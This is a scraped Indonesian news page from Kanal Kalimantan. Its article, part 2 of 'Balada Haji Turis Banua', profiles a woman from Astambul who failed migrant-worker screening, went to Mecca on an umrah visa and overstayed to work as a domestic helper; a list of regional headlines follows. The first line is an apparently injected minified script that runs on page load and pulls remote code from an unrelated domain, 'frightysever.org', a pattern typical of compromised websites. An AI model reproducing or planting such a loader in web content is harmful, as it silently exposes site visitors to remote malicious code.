(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Balada Haji Turis Banua (2)


Lain H Hilmani lain pula dengan Hj Maryam. Tak lolos seleksi penjaringan calon Tenaga Kerja Indonesia (TKI) di salah satu Perusahaan Pengerah dan Penempatan Tenaga Kerja Swasta (PPTKS) di Jakarta, perempuan asal Desa Kalampayan, Kecamatan Astambul ini tak patah arang. Lantaran niatnya yang terlanjur bulat untuk bekerja di Mekkah, Arab Saudi, warga Desa Kalampayan Tengah, Kecamatan Astambul ini akhirnya  menempuh cara lain.

Berbekal uang  hasil tabungan, sebagian pinjaman dari salah seorang keluarganya yang sudah lebih dulu menjadi TKI di Arab Saudi, Mariyam mengurus berbagai syarat dan kelengkapan sebagai jemaah umroh. Dan sekitar satu bulan sebelum Ramadhan di tahun 2004, ibu satu orang anak ini akhirnya bertolak ke Mekkah. Bukan sebagai TKI tapi sebagai salah satu jemaah umroh asal Kalsel.

“Tidak lolos tes kesehatan. Tinggi badan juga tidak memenuhi syarat. Tapi niat saya bekerja di Mekkah sudah kuat. Apalagi di Mekkah ada saudara yang sudah lebih dulu bekerja di sana. Beberapa warga yang juga bekerja jadi TKI terlihat kehidupan keluarganya lebih enak dan mapan,” kata Mariyam di Kalampayan Tengah, Astambul akhir pekan lalu.

Satu bulan berselang usai tunai melaksanakan umroh, Mariyam tak langsung pulang ke Indonesia. Aturan masa berlaku paspor umroh yang hanya satu bulan, dilanggar. Itu karena sejak awal memang niat utamanya adalah bekerja sebagai Tenaga Kerja Wanita (TKW).

Di Mekkah, di antara banyak saudagar kaya, tak sulit mendapatkan pekerjaan kendati tanpa keahlian khusus. Cukup berbekal keterampilan membereskan semua pekerjaan rumah, mulai bersih-bersih hingga memasak, Mariyam diterima kerja sebagai pembantu rumah tangga (PRT).

Hanya persiapan fisik dan mental, yang menurut Mariyam harus disiapkan. Fisik Karena kondisi alam di Timur Tengah sangat berbeda. Begitu juga mental, karena memang budaya orang Arab sangat berbeda dengan di Indonesia meski sama-sama sebagai penganut Islam.


Page: 1 2

Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

8 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

9 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

9 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

9 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

10 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

13 jam ago

This website uses cookies.